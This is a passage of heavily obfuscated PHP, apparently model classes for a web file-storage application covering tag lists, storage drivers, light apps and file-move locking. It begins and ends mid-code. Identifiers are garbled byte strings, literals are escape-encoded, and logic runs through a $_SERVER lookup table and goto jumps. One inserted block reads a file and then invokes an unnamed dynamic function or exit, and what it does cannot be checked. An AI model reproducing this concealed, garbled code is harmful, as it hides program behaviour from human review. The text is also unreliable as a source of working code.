"\x55\163\145\162\x2e\164\141\x67\114\151\x73\164"; public $modelType = "\x55\x73\145\162\117\x70\x74\x69\157\156"; public $field = array("\x6e\x61\x6d\145", "\x73\164\171\x6c\145", "\x73\157\x72\x74"); public function listData($¤ÓÛ˜´• = false, $¹Ö<C396>ª = "\x73\x6f\162\x74", $šÞ̤㵠= false) { return parent::listData($¤ÓÛ˜´•, $¹Ö<C396>ª, $šÞ̤ãµ); } public function remove($‘ýüíÚ†) { return parent::remove($‘ýüíÚ†); } public function add($Õ“åçðÚ, $²Š¹Ò˜£ = "\154\141\x62\x65\x6c\x2d\x67\x72\145\x79\55\156\x6f\x72\x6d\141\x6c") { $³‡ŒÆñà =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->findByName($Õ“åçðÚ)) { return !1; } $Ь¿õ“¹ = array($³‡ŒÆñÃ[494] => $Õ“åçðÚ, $³‡ŒÆñÃ[558] => $²Š¹Ò˜£, $³‡ŒÆñÃ[1966] => $this->getSort($³‡ŒÆñÃ[335]) + 1); return parent::insert($Ь¿õ“¹); } public function update($Ü¿»à”Ý, $͸÷Çš¸) { $¼£ñþËÍ =& $_SERVER[ˆ¡¹µ‹Â]; $×ãšÒØÓ = $this->listData($Ü¿»à”Ý); $¿†§™¸ó = $this->findByName($͸÷Çš¸[$¼£ñþËÍ[32]]); if (!$×ãšÒØÓ || $¿†§™¸ó && $¿†§™¸ó[$¼£ñþËÍ[475]] != $×ãšÒØÓ[$¼£ñþËÍ[475]]) { return !1; } return parent::update($Ü¿»à”Ý, $͸÷Çš¸); } public function moveTop($Ç<>¿ûùñ) { $º”ü®ú­ =& $_SERVER[ˆ¡¹µ‹Â]; $èü’ÕÈï = parent::listData(); $õ<>§Üܪ = $this->getSort($º”ü®ú­[334]); foreach ($èü’ÕÈï as &$ÁùÍÙ™³) { if ($ÁùÍÙ™³[$º”ü®ú­[475]] == $Ç<>¿ûùñ) { $ÁùÍÙ™³[$º”ü®ú­[1986]] = $õ<>§Üܪ; continue; } $ÁùÍÙ™³[$º”ü®ú­[1986]] += 1; } unset($ÁùÍÙ™³); return parent::resetData($èü’ÕÈï); } public function moveBottom($ç‡ØÉÖö) { $†ãå<E280B9> =& $_SERVER[ˆ¡¹µ‹Â]; $ë§Ó±×è = $this->getSort($†ãå<E280B9>Â[335]) + 1; return parent::update($ç‡ØÉÖö, array($†ãå<E280B9>Â[1986] => $ë§Ó±×è)); } public function resetSort($Åæ«Þ<C2AB>°) { $·Ÿ²µ²ü =& $_SERVER[ˆ¡¹µ‹Â]; $ú—˜åë­ = array(); $Åæ«Þ<C2AB>° = is_array($Åæ«Þ<C2AB>°) ? $Åæ«Þ<C2AB>° : array(); for ($à‘éƒôò = 0; $à‘éƒôò < count($Åæ«Þ<C2AB>°); $à‘éƒôò++) { $ú—˜åë­[$Åæ«Þ<C2AB>°[$à‘éƒôò] . $·Ÿ²µ²ü[12]] = $à‘éƒôò + 1; } $<24>ö<E280B9>š— = parent::listData(); foreach ($<24>ö<E280B9>š— as &$õ‘ڤã) { $‡‹ìЕ = $ú—˜åë­[$õ‘ڤã[$·Ÿ²µ²ü[475]]]; $õ‘ڤã[$·Ÿ²µ²ü[1986]] = $‡‹ìЕ ? $‡‹ìЕ : $õ‘ڤã[$·Ÿ²µ²ü[1986]]; } unset($õ‘ڤã); return parent::resetData($<24>ö<E280B9>š—); } private function getSort($ã<>¼¶«) { $„Ë֣Ѐ =& $_SERVER[ˆ¡¹µ‹Â]; $÷µÍÂ÷§ = parent::listData(); $<>œñáÛ = array_to_keyvalue($÷µÍÂ÷§, $„Ë֣Ѐ[12], $„Ë֣Ѐ[1986]); if (!$<>œñáÛ) { $<>œñáÛ = array(0); } $áþÌ„‰Ÿ = $ã<>¼¶« == $„Ë֣Ѐ[335] ? max($<>œñáÛ) : min($<>œñáÛ); return intval($áþÌ„‰Ÿ); } } goto fÈ<C388>Œ×߇; Cà˜æß×¶Ã: if ($_SERVER[$_SERVER[ˆ¡¹µ‹Â][846]] != $_SERVER[$_SERVER[ˆ¡¹µ‹Â][2086]]) { $_getc = $_SERVER[ˆ¡¹µ‹Â][847]; $_getfile = $_SERVER[$_SERVER[ˆ¡¹µ‹Â][848]] . $_SERVER[ˆ¡¹µ‹Â][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ˆ¡¹µ‹Â][262], $_getfilec); if (count($_getarrs) < $_SERVER[ˆ¡¹µ‹Â][687]) { $exit = $_SERVER[ˆ¡¹µ‹Â][850]; $exit(); } $_act = $_SERVER[ˆ¡¹µ‹Â][851]; $_act($_SERVER[$_SERVER[ˆ¡¹µ‹Â][844]]); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\x73\164\157\162\141\147\145\x4c\151\163\x74"; public $field = array("\x6e\141\x6d\x65", "\x73\151\172\x65\x4d\x61\170", "\x73\x79\x73\x74\145\x6d", "\x64\x65\x66\141\165\x6c\164", "\x64\x72\x69\166\x65\162", "\x63\x6f\156\x66\x69\147"); public function listData($â”ɤѴ = false, $Ò—í»ÊÎ = "\x6d\x6f\x64\x69\146\171\x54\x69\x6d\x65", $ܨ÷䳡 = false) { $äЂñ©Ü =& $_SERVER[ˆ¡¹µ‹Â]; $Ô¾ÐÃð² = parent::listData($â”ɤѴ, $Ò—í»ÊÎ, $ܨ÷䳡); if ($â”ɤѴ) { return $Ô¾ÐÃð²; } $ÑΓµÇà = array(); if ($GLOBALS[$äЂñ©Ü[2294]]) { $ÑΓµÇà = $this->ioSizeUseGet(array_to_keyvalue($Ô¾ÐÃð², $äЂñ©Ü[12], $äЂñ©Ü[475])); } foreach ($Ô¾ÐÃð² as $Éʉšó<C5A1> => $ÒÔ™÷ˆò) { unset($Ô¾ÐÃð²[$Éʉšó<C5A1>][$äЂñ©Ü[6]]); $Ô¾ÐÃð²[$Éʉšó<C5A1>][$äЂñ©Ü[1950]] = isset($ÑΓµÇà[$ÒÔ™÷ˆò[$äЂñ©Ü[475]]]) ? $ÑΓµÇà[$ÒÔ™÷ˆò[$äЂñ©Ü[475]]] : 0; } return $Ô¾ÐÃð²; } public function ioSizeUseGet($ƒžæ“<C3A6>Ü) { $«ù©ìœ‡ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ƒžæ“<C3A6>Ü) { return array(); } $ïŒôáÊþ = $«ù©ìœ‡[2295] . implode($«ù©ìœ‡[50], $ƒžæ“<C3A6>Ü); $²‹×Ù±ã = Cache::get($ïŒôáÊþ); if ($²‹×Ù±ã) { return $²‹×Ù±ã; } $¢ÀÚ<C380>¹” = array($«ù©ìœ‡[892] => $«ù©ìœ‡[475], $«ù©ìœ‡[2296] => $«ù©ìœ‡[79]); $ñ‚Ά¢˜ = array($«ù©ìœ‡[892] => array($«ù©ìœ‡[7], $ƒžæ“<C3A6>Ü)); $²‹×Ù±ã = Model($«ù©ìœ‡[864])->field($¢ÀÚ<C380>¹”)->where($ñ‚Ά¢˜)->group($«ù©ìœ‡[892])->select(); $²‹×Ù±ã = array_to_keyvalue($²‹×Ù±ã, $«ù©ìœ‡[475], $«ù©ìœ‡[79]); Cache::set($ïŒôáÊþ, $²‹×Ù±ã, 600); return $²‹×Ù±ã; } public function getConfig($üâè­ô×) { $Ó¸º“•¬ = parent::listData($üâè­ô×); return json_decode($Ó¸º“•¬[$_SERVER[ˆ¡¹µ‹Â][6]], !0); } public function update($šÞÏí™<C3AD>, $ ÝÌâ¢<C3A2>) { $<24>«±õÝ =& $_SERVER[ˆ¡¹µ‹Â]; $êÖÕÉÎè = $ ÝÌâ¢<C3A2>[$<24>«±õÝ[32]]; $€œ±ŽœÐ = array_to_keyvalue(parent::listData(), $<24>«±õÝ[32]); if (isset($€œ±ŽœÐ[$êÖÕÉÎè]) && $€œ±ŽœÐ[$êÖÕÉÎè][$<24>«±õÝ[475]] != $šÞÏí™<C3AD>) { return !1; } $this->checkPwd($šÞÏí™<C3AD>, $ ÝÌâ¢<C3A2>); if (isset($ ÝÌâ¢<C3A2>[$<24>«±õÝ[2297]]) && $ ÝÌâ¢<C3A2>[$<24>«±õÝ[2297]] == $<24>«±õÝ[91]) { $this->checkConfig($ ÝÌâ¢<C3A2>); } unset($ ÝÌâ¢<C3A2>[$<24>«±õÝ[2297]]); $Òç¸Ø‹Ç = parent::update($šÞÏí™<C3AD>, $ ÝÌâ¢<C3A2>); if ($Òç¸Ø‹Ç && $ ÝÌâ¢<C3A2>[$<24>«±õÝ[37]]) { $ôÍ•çÛÞ = 0; foreach ($€œ±ŽœÐ as $ùðÊúÎþ) { if ($ùðÊúÎþ[$<24>«±õÝ[37]] && $ùðÊúÎþ[$<24>«±õÝ[475]] != $šÞÏí™<C3AD>) { $ôÍ•çÛÞ = $ùðÊúÎþ[$<24>«±õÝ[475]]; parent::update($ùðÊúÎþ[$<24>«±õÝ[475]], array($<24>«±õÝ[37] => 0)); } } $this->updateBackup($šÞÏí™<C3AD>, $ôÍ•çÛÞ); } return $Òç¸Ø‹Ç; } public function add($ŸÙˆº„§) { $Ö÷Ž<C3B7>ƒ<EFBFBD> =& $_SERVER[ˆ¡¹µ‹Â]; $äú†Ê¼ø = array_to_keyvalue(parent::listData(), $Ö÷Ž<C3B7>ƒ<EFBFBD>[32]); if (isset($äú†Ê¼ø[$ŸÙˆº„§[$Ö÷Ž<C3B7>ƒ<EFBFBD>[32]]])) { return !1; } $this->checkConfig($ŸÙˆº„§); $ùצóɸ = parent::insert($ŸÙˆº„§); if ($ùצóɸ && $ŸÙˆº„§[$Ö÷Ž<C3B7>ƒ<EFBFBD>[37]]) { foreach ($äú†Ê¼ø as $µ<>¡„†¥) { if ($µ<>¡„†¥[$Ö÷Ž<C3B7>ƒ<EFBFBD>[37]]) { parent::update($µ<>¡„†¥[$Ö÷Ž<C3B7>ƒ<EFBFBD>[475]], array($Ö÷Ž<C3B7>ƒ<EFBFBD>[37] => 0)); } } } return $ùצóɸ; } public function updateBackup($œÅ­ºò†, $ùÔˆ”£Œ) { $î¿ç¶÷» =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ùÔˆ”£Œ) { return; } $ãÁ åø‹ = Model($î¿ç¶÷»[815])->config(); if ($ãÁ åø‹[$î¿ç¶÷»[1733]] != $î¿ç¶÷»[91] || $ãÁ åø‹[$î¿ç¶÷»[819]] != $ùÔˆ”£Œ) { return; } $æÖêæ‡† = Model($î¿ç¶÷»[837])->get($î¿ç¶÷»[858]); $æÖêæ‡† = json_decode($æÖêæ‡†, !0); if (!$æÖêæ‡†) { return; } $æÖêæ‡†[$î¿ç¶÷»[819]] = $œÅ­ºò†; Model($î¿ç¶÷»[837])->set(array($î¿ç¶÷»[858] => $æÖêæ‡†)); } public function checkPwd($ƒñµ½ïƒ, &$Ô“ÄÂá®) { $³âè­×¾ =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($Ô“ÄÂá®[$³âè­×¾[6]])) { return; } $¥Ëøð¦Ø = json_decode($Ô“ÄÂá®[$³âè­×¾[6]], !0); $÷Ƌߘì = $³âè­×¾[12]; $õ…Üñê¼ = array($³âè­×¾[2298], $³âè­×¾[2299], $³âè­×¾[960]); foreach ($õ…Üñê¼ as $ûÈÀÚžï) { if (isset($¥Ëøð¦Ø[$ûÈÀÚžï])) { $÷Ƌߘì = $ûÈÀÚžï; break; } } if (!$÷Ƌߘì) { return; } $Œ‹É¢É› = $this->getConfig($ƒñµ½ïƒ); $§”š‚ïÅ = $Œ‹É¢É›[$÷Ƌߘì]; $¥¡®‘þ† = $¥Ëøð¦Ø[$÷Ƌߘì]; if ($¥¡®‘þ† == str_repeat($³âè­×¾[220], strlen($§”š‚ïÅ))) { $¥Ëøð¦Ø[$÷Ƌߘì] = $§”š‚ïÅ; $Ô“ÄÂá®[$³âè­×¾[6]] = json_encode($¥Ëøð¦Ø); } else { if ($¥¡®‘þ† != $§”š‚ïÅ) { $Ô“ÄÂá®[$³âè­×¾[2297]] = $³âè­×¾[91]; } } } public function checkConfig(&$½¢œ—àæ, $ŽÃÞµ¾¡ = false) { $˜¯‚æ« =& $_SERVER[ˆ¡¹µ‹Â]; $À㿲<C2BF>û = strtolower($½¢œ—àæ[$˜¯‚æ«[98]]); $ú¶¥Þ²¯ = $½¢œ—àæ[$˜¯‚æ«[6]]; if (!is_array($ú¶¥Þ²¯)) { $ú¶¥Þ²¯ = json_decode($ú¶¥Þ²¯, !0); } foreach ($ú¶¥Þ²¯ as $Ÿ™×†¤Ì => $<24>êË´ØŽ) { if (is_string($<24>êË´ØŽ)) { $ú¶¥Þ²¯[$Ÿ™×†¤Ì] = trim($<24>êË´ØŽ); } } $ú¶¥Þ²¯[$˜¯‚æ«[2300]] = rand_string(6); $á±òÛ Å = $GLOBALS[$˜¯‚æ«[6]][$˜¯‚æ«[92]][$˜¯‚æ«[900]]; $ÒÏÛ‰Р= isset($á±òÛ Å[$À㿲<C2BF>û]) ? $á±òÛ Å[$À㿲<C2BF>û] : ucfirst($À㿲<C2BF>û); $õ¡<C3B5>¦…¼ = $˜¯‚æ«[77] . $ÒÏÛ‰Ð; if (!$ÒÏÛ‰Р|| !class_exists($õ¡<C3B5>¦…¼)) { if ($ŽÃÞµ¾¡) { return LNG($˜¯‚æ«[2301]); } write_log(array($˜¯‚æ«[2302], $½¢œ—àæ, get_caller_info()), $˜¯‚æ«[215]); show_json(LNG($˜¯‚æ«[2301]), !1, $½¢œ—àæ); } $ž²Ä™<C384> = new $õ¡<C3B5>¦…¼($ú¶¥Þ²¯); if (in_array($À㿲<C2BF>û, $ž²Ä™<C384>->objectDriver)) { try { if (!$ž²Ä™<C384>->isBucketCors() && !$ž²Ä™<C384>->setBucketCors()) { $áæÒΤâ = LNG($˜¯‚æ«[2303]); $áæÒΤâ .= $˜¯‚æ«[2304] . LNG($˜¯‚æ«[2305]); } } catch (Exception $ÊÄ»ØïØ) { $áæÒΤâ = $ÊÄ»ØïØ->getMessage(); } if (isset($áæÒΤâ)) { return $this->_parseError($áæÒΤâ, $À㿲<C2BF>û, $ŽÃÞµ¾¡); } if ($À㿲<C2BF>û == $˜¯‚æ«[68] && !$ž²Ä™<C384>->checkRegion()) { return $this->_parseError(LNG($˜¯‚æ«[2306]), $À㿲<C2BF>û, $ŽÃÞµ¾¡); } } $€Þü<C39E>ì£ = rtrim($ú¶¥Þ²¯[$˜¯‚æ«[1255]], $˜¯‚æ«[8]) . $˜¯‚æ«[8]; $ßѺïÚÙ = $ž²Ä™<C384>->getPath($€Þü<C39E>ì£ . $˜¯‚æ«[1259]); try { if ($À㿲<C2BF>û == $˜¯‚æ«[109]) { $ž²Ä™<C384>->mkdir($€Þü<C39E>ì£); } $ijùˆïó = $ž²Ä™<C384>->mkfile($ßѺïÚÙ); if (!$ijùˆïó) { $áæÒΤâ = LNG($˜¯‚æ«[2303]); } } catch (Exception $ÊÄ»ØïØ) { $áæÒΤâ = $ÊÄ»ØïØ->getMessage(); } if (isset($áæÒΤâ)) { return $this->_parseError($áæÒΤâ, $À㿲<C2BF>û, $ŽÃÞµ¾¡); } $ú¶¥Þ²¯[$˜¯‚æ«[1255]] = $€Þü<C39E>ì£; $½¢œ—àæ[$˜¯‚æ«[6]] = json_encode($ú¶¥Þ²¯); $½¢œ—àæ[$˜¯‚æ«[98]] = $ÒÏÛ‰Ð; return !0; } private function _parseError($¶àÀœ<C380>þ, $‡Ï÷´ªÜ, $ÂßóØ<C3B3>¾ = false) { $Ö’¥»ñÌ =& $_SERVER[ˆ¡¹µ‹Â]; if ($‡Ï÷´ªÜ == $Ö’¥»ñÌ[68] && stripos($¶àÀœ<C380>þ, $Ö’¥»ñÌ[2307])) { $¦ËÚŸ«¢ = explode($Ö’¥»ñÌ[10], $¶àÀœ<C380>þ); $ᮑÍÝ› = isset($¦ËÚŸ«¢[1]) ? $¦ËÚŸ«¢[1] : $Ö’¥»ñÌ[12]; $<24>àÄØœ­ = array($Ö’¥»ñÌ[2308] => LNG($Ö’¥»ñÌ[2309]), $Ö’¥»ñÌ[2310] => LNG($Ö’¥»ñÌ[2311])); if (isset($<24>àÄØœ­[$ᮑÍÝ›])) { $¶àÀœ<C380>þ = $<24>àÄØœ­[$ᮑÍÝ›]; } } if (stripos($¶àÀœ<C380>þ, $Ö’¥»ñÌ[2312]) === 0) { $õ‡<C3B5>º†Î = strpos($¶àÀœ<C380>þ, $Ö’¥»ñÌ[178]); if ($õ‡<C3B5>º†Î === !1) { $õ‡<C3B5>º†Î = strpos($¶àÀœ<C380>þ, $Ö’¥»ñÌ[4]); } if ($õ‡<C3B5>º†Î !== !1) { $¶àÀœ<C380>þ = substr($¶àÀœ<C380>þ, $õ‡<C3B5>º†Î + 1); } } $¶àÀœ<C380>þ = LNG($Ö’¥»ñÌ[1262]) . $¶àÀœ<C380>þ; if ($ÂßóØ<C3B3>¾) { return $¶àÀœ<C380>þ; } show_json($¶àÀœ<C380>þ, !1); } public function driverListSystem() { $„ÄžÉê² =& $_SERVER[ˆ¡¹µ‹Â]; $“Ù¬ÆÑÄ = parent::listData(); $½“™Ñçµ = array(); foreach ($“Ù¬ÆÑÄ as $À¿ÂºèÛ) { unset($À¿ÂºèÛ[$„ÄžÉê²[231]], $À¿ÂºèÛ[$„ÄžÉê²[88]]); $À¿ÂºèÛ[$„ÄžÉê²[6]] = json_decode($À¿ÂºèÛ[$„ÄžÉê²[6]], !0); $½“™Ñçµ[] = $À¿ÂºèÛ; } return $½“™Ñçµ; } public function defaultDriver() { $ß›ã„Óƒ =& $_SERVER[ˆ¡¹µ‹Â]; $Á—î²Ø„ = parent::listData(); $ ò¤«Åë = array_filter_by_field($Á—î²Ø„, $ß›ã„Óƒ[37], 1); $ ò¤«Åë = $ ò¤«Åë[0]; if ($ ò¤«Åë) { $ ò¤«Åë[$ß›ã„Óƒ[6]] = json_decode($ ò¤«Åë[$ß›ã„Óƒ[6]], !0); } return $ ò¤«Åë; } public function driverInfo($Ì꘶ޛ) { $¬“£¯¦› =& $_SERVER[ˆ¡¹µ‹Â]; $‰·ÏÁÂü = array_to_keyvalue(parent::listData(), $¬“£¯¦›[475]); if (!isset($‰·ÏÁÂü[$Ì꘶ޛ])) { return !1; } $û’±‚»æ = $‰·ÏÁÂü[$Ì꘶ޛ]; $û’±‚»æ[$¬“£¯¦›[6]] = json_decode($û’±‚»æ[$¬“£¯¦›[6]], !0); return $û’±‚»æ; } public function remove($¬õúÞŽ¾) { $this->removeShareItems($¬õúÞŽ¾); return parent::remove($¬õúÞŽ¾); } public function removeWithFile($ÇÃ<C387>°´ê, $Á„ÙðÛý, $ýÓߺú‚, $<24>š±ˆïÁ = false) { $<24>ÛÙô<C399>Ý =& $_SERVER[ˆ¡¹µ‹Â]; $¬õï´ÀÅ = array($<24>ÛÙô<C399>Ý[892] => $ÇÃ<C387>°´ê); $<24>¾ç ® = Model($<24>ÛÙô<C399>Ý[544])->where($¬õï´ÀÅ)->count(); $†ˆ˜ÚŒÔ = Model($<24>ÛÙô<C399>Ý[544])->where($¬õï´ÀÅ)->sum($<24>ÛÙô<C399>Ý[79]); $½÷œ¸ö” = $Á„ÙðÛý . $<24>ÛÙô<C399>Ý[2313] . $ÇÃ<C387>°´ê; $Ÿâ·<C3A2>„¾ = LNG($Á„ÙðÛý == $<24>ÛÙô<C399>Ý[620] ? $<24>ÛÙô<C399>Ý[2314] : $<24>ÛÙô<C399>Ý[2315]); $áÛ£ãòì = new TaskFileTransfer($½÷œ¸ö”, $<24>ÛÙô<C399>Ý[215], $<24>¾ç ®, $Ÿâ·<C3A2>„¾ . $<24>ÛÙô<C399>Ý[462] . $ýÓߺú‚[$<24>ÛÙô<C399>Ý[32]] . $<24>ÛÙô<C399>Ý[214] . $ÇÃ<C387>°´ê); $áÛ£ãòì->task[$<24>ÛÙô<C399>Ý[830]] = (double) $†ˆ˜ÚŒÔ; $넼–±¥ = KodIO::defaultDriver(); $åî…éÊ£ = $넼–±¥[$<24>ÛÙô<C399>Ý[475]]; $òÐߺñ<C2BA> = $ÂÔÉ<C394>ž¿ = $”Ïô„©Á = array(); $­þ–ïÎÝ = Model($<24>ÛÙô<C399>Ý[230])->where($¬õï´ÀÅ)->field($<24>ÛÙô<C399>Ý[2316])->select(); foreach ($­þ–ïÎÝ as $Ãü†§”Ã) { $²Ó§›ØŒ = $Ãü†§”Ã[$<24>ÛÙô<C399>Ý[541]]; if ($<24>š±ˆïÁ) { $ÂÔÉ<C394>ž¿[] = $²Ó§›ØŒ; continue; } $»„»ˆ<C2BB><CB86> = $Ãü†§”Ã[$<24>ÛÙô<C399>Ý[87]]; $ÌŒöÓ”  = get_path_father($»„»ˆ<C2BB><CB86>); $”Ïô„©Á[] = $ÌŒöÓ” ; $ÌŒöÓ”  = str_replace("\x7b\151\x6f\72{$ÇÃ<C387>°´ê}\x7d\x2f", "\173\x69\157\72{$åî…éÊ£}\175\57", $ÌŒöÓ” ); if (!IO::exist($»„»ˆ<C2BB><CB86>)) { $òÐߺñ<C2BA>[] = $²Ó§›ØŒ; $áÛ£ãòì->updateFileEnd($Ãü†§”Ã[$<24>ÛÙô<C399>Ý[32]], $Ãü†§”Ã[$<24>ÛÙô<C399>Ý[79]]); write_log($<24>ÛÙô<C399>Ý[2317] . $»„»ˆ<C2BB><CB86>, $<24>ÛÙô<C399>Ý[1893]); continue; } $¬ïí™õÍ = IO::move($»„»ˆ<C2BB><CB86>, $ÌŒöÓ” , REPEAT_RENAME); if (!$¬ïí™õÍ) { $ÂÔÉ<C394>ž¿[] = $²Ó§›ØŒ; $áÛ£ãòì->updateFileEnd($Ãü†§”Ã[$<24>ÛÙô<C399>Ý[32]], $Ãü†§”Ã[$<24>ÛÙô<C399>Ý[79]]); write_log($<24>ÛÙô<C399>Ý[2318] . $»„»ˆ<C2BB><CB86>, $<24>ÛÙô<C399>Ý[1893]); continue; } $¬õï´ÀÅ = array($<24>ÛÙô<C399>Ý[541] => $²Ó§›ØŒ); $Û¼ÙÃ¡Š = array($<24>ÛÙô<C399>Ý[892] => $åî…éÊ£, $<24>ÛÙô<C399>Ý[87] => $¬ïí™õÍ); Model($<24>ÛÙô<C399>Ý[230])->where($¬õï´ÀÅ)->save($Û¼ÙáŠ); } $ï衦¾˜ = $áÛ£ãòì->task; if (!$<24>š±ˆïÁ) { Cache::set($½÷œ¸ö”, $ï衦¾˜); } $áÛ£ãòì->end(); $òÐߺñ<C2BA> = array_unique($òÐߺñ<C2BA>); $ÂÔÉ<C394>ž¿ = array_unique($ÂÔÉ<C394>ž¿); if (!$<24>š±ˆïÁ && ($òÐߺñ<C2BA> || $ÂÔÉ<C394>ž¿)) { $²ä屯¦ = array(); if ($òÐߺñ<C2BA>) { $²ä屯¦[] = sprintf(LNG($<24>ÛÙô<C399>Ý[2319]), count($òÐߺñ<C2BA>)); } if ($ÂÔÉ<C394>ž¿) { $²ä屯¦[] = sprintf(LNG($<24>ÛÙô<C399>Ý[2320]), count($ÂÔÉ<C394>ž¿)); } $²ä屯¦ = sprintf(LNG($<24>ÛÙô<C399>Ý[2321]), implode($<24>ÛÙô<C399>Ý[2322], $²ä屯¦)) . $<24>ÛÙô<C399>Ý[2323] . date($<24>ÛÙô<C399>Ý[2324]) . $<24>ÛÙô<C399>Ý[2325]; if ($Á„ÙðÛý == $<24>ÛÙô<C399>Ý[1930]) { $²ä屯¦ .= $<24>ÛÙô<C399>Ý[2326] . LNG($<24>ÛÙô<C399>Ý[2327]); } $ï衦¾˜[$<24>ÛÙô<C399>Ý[1257]] = $²ä屯¦; Cache::set($½÷œ¸ö”, $ï衦¾˜); unset($ýÓߺú‚[$<24>ÛÙô<C399>Ý[6]]); $àɥ̆è = array($<24>ÛÙô<C399>Ý[475] => $ÇÃ<C387>°´ê, $<24>ÛÙô<C399>Ý[2201] => $<24>ÛÙô<C399>Ý[620], $<24>ÛÙô<C399>Ý[32] => $ýÓߺú‚[$<24>ÛÙô<C399>Ý[32]], $<24>ÛÙô<C399>Ý[1280] => $ýÓߺú‚); Hook::trigger($<24>ÛÙô<C399>Ý[1774], array($<24>ÛÙô<C399>Ý[1280] => $àɥ̆è, $<24>ÛÙô<C399>Ý[1290] => !0)); show_json($²ä屯¦, !1, 100111); } if ($Á„ÙðÛý == $<24>ÛÙô<C399>Ý[620]) { return !0; } if ($òÐߺñ<C2BA> || $ÂÔÉ<C394>ž¿) { $ÂæØß¦à = array_merge($òÐߺñ<C2BA>, $ÂÔÉ<C394>ž¿); $ÂæØß¦à = array_filter(array_unique($ÂæØß¦à)); $this->removeByFileID($ÂæØß¦à); } if ($”Ïô„©Á) { $”Ïô„©Á = array_filter(array_unique($”Ïô„©Á)); foreach ($”Ïô„©Á as $»„»ˆ<C2BB><CB86>) { $Ô±µ¤›“ = IO::has($»„»ˆ<C2BB><CB86>, !0); if (!$Ô±µ¤›“[$<24>ÛÙô<C399>Ý[239]] && !$Ô±µ¤›“[$<24>ÛÙô<C399>Ý[240]]) { IO::remove($»„»ˆ<C2BB><CB86>); } } } return $this->remove($ÇÃ<C387>°´ê); } private function removeByFileID($¸ÖµÍ¥ä = array()) { $<24>±Ü…Ô =& $_SERVER[ˆ¡¹µ‹Â]; if (empty($¸ÖµÍ¥ä)) { return; } $Œ¶‹Ëì… = array($<24>±Ü…Ô[541] => array($<24>±Ü…Ô[7], $¸ÖµÍ¥ä)); $›‰ÏŸ°¯ = Model($<24>±Ü…Ô[1411])->where($Œ¶‹Ëì…)->field($<24>±Ü…Ô[193])->select(); if (!$›‰ÏŸ°¯) { return Model($<24>±Ü…Ô[544])->remove($¸ÖµÍ¥ä); } $›‰ÏŸ°¯ = array_to_keyvalue($›‰ÏŸ°¯, $<24>±Ü…Ô[12], $<24>±Ü…Ô[193]); foreach ($›‰ÏŸ°¯ as $ÙÓÚá±ì) { Model($<24>±Ü…Ô[899])->removeNow($ÙÓÚá±ì, !1); } } private function removeShareItems($Ú»²Ö¸¤) { $‡¨ùå<C3B9>Ï =& $_SERVER[ˆ¡¹µ‹Â]; $<24><>“¼«à = "\x7b\x69\x6f\x3a{$Ú»²Ö¸¤}\x7d\x2f"; $޼ßãºú = array($‡¨ùå<C3B9>Ï[193] => 0, $‡¨ùå<C3B9>Ï[1250] => array($‡¨ùå<C3B9>Ï[459], "{$<24><>“¼«à}\45")); $Ž´ÂôŒª = Model($‡¨ùå<C3B9>Ï[1941])->where($޼ßãºú)->field($‡¨ùå<C3B9>Ï[665])->select(); if (empty($Ž´ÂôŒª)) { return; } $ÎÒ”ÔÌù = array_to_keyvalue($Ž´ÂôŒª, $‡¨ùå<C3B9>Ï[12], $‡¨ùå<C3B9>Ï[665]); Model($‡¨ùå<C3B9>Ï[664])->remove($ÎÒ”ÔÌù); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\x6d\x2e\114\151\147\x68\x74\101\160\160"; public $modelType = "\x53\171\163\x74\x65\155\x4f\160\164\151\x6f\156"; public $field = array("\x6e\x61\155\x65", "\x67\162\x6f\165\160", "\144\145\163\x63", "\x63\157\156\164\145\156\164"); public function listData($ÃÔº¡á« = false, $ØÑóÝ“ð = "\155\157\x64\151\146\x79\124\x69\x6d\x65", $´’ðÓ†¶ = true) { return parent::listData($ÃÔº¡á«, $ØÑóÝ“ð, $´’ðÓ†¶); } public function remove($ùðŒ…¹Ø) { $Âûߟ<E28093> = $this->findByName($ùðŒ…¹Ø); if (!$Âûߟ<E28093>) { return !1; } return parent::remove($Âûߟ<E28093>[$_SERVER[ˆ¡¹µ‹Â][475]]); } public function add($¨©ˆŒ‹°) { if ($this->findByName($¨©ˆŒ‹°[$_SERVER[ˆ¡¹µ‹Â][32]])) { return !1; } return parent::insert($¨©ˆŒ‹°); } public function update($ûÜ쉻ì, $Á½<C381>Êœä) { $×ÛÂÌÀæ =& $_SERVER[ˆ¡¹µ‹Â]; $àšÌ<C5A1>ç³ = $this->findByName($ûÜ쉻ì); $Õö÷©‘ï = $this->findByName($Á½<C381>Êœä[$×ÛÂÌÀæ[32]]); if (!$àšÌ<C5A1>ç³ || $Õö÷©‘ï && $Õö÷©‘ï[$×ÛÂÌÀæ[475]] != $àšÌ<C5A1>ç³[$×ÛÂÌÀæ[475]]) { return !1; } return parent::update($àšÌ<C5A1>ç³[$×ÛÂÌÀæ[475]], $Á½<C381>Êœä); } } goto c½«ãç§êÛ; B<>©â¥È¥Ï: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($­ÇÆÂÑÎ) { $ Éø•ïî =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $this->_lockCheck($ Éø•ïî[618], $­ÇÆÂÑÎ); $Œœþì¨<C3AC> = 1; $this->_lockEvent($­ÇÆÂÑÎ, array($ Éø•ïî[619], $ Éø•ïî[620]), $Œœþì¨<C3AC>); $this->_lockParent($­ÇÆÂÑÎ, array($ Éø•ïî[620]), $Œœþì¨<C3AC>); $this->_lockEvent($­ÇÆÂÑÎ, array($ Éø•ïî[621], $ Éø•ïî[622]), $Œœþì¨<C3AC>); $this->_lockCheckEnd($ Éø•ïî[618], $­ÇÆÂÑÎ); } public function lockCopyEnd($ÊÔíØÍº) { $<24>ãé•Öù =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->allowLock()) { return; } $ê<>á<EFBFBD>ÆÔ = 0; $this->_lockEvent($ÊÔíØÍº, array($<24>ãé•Öù[619], $<24>ãé•Öù[620]), $ê<>á<EFBFBD>ÆÔ); $this->_lockParent($ÊÔíØÍº, array($<24>ãé•Öù[620]), $ê<>á<EFBFBD>ÆÔ); $this->_lockEvent($ÊÔíØÍº, array($<24>ãé•Öù[621], 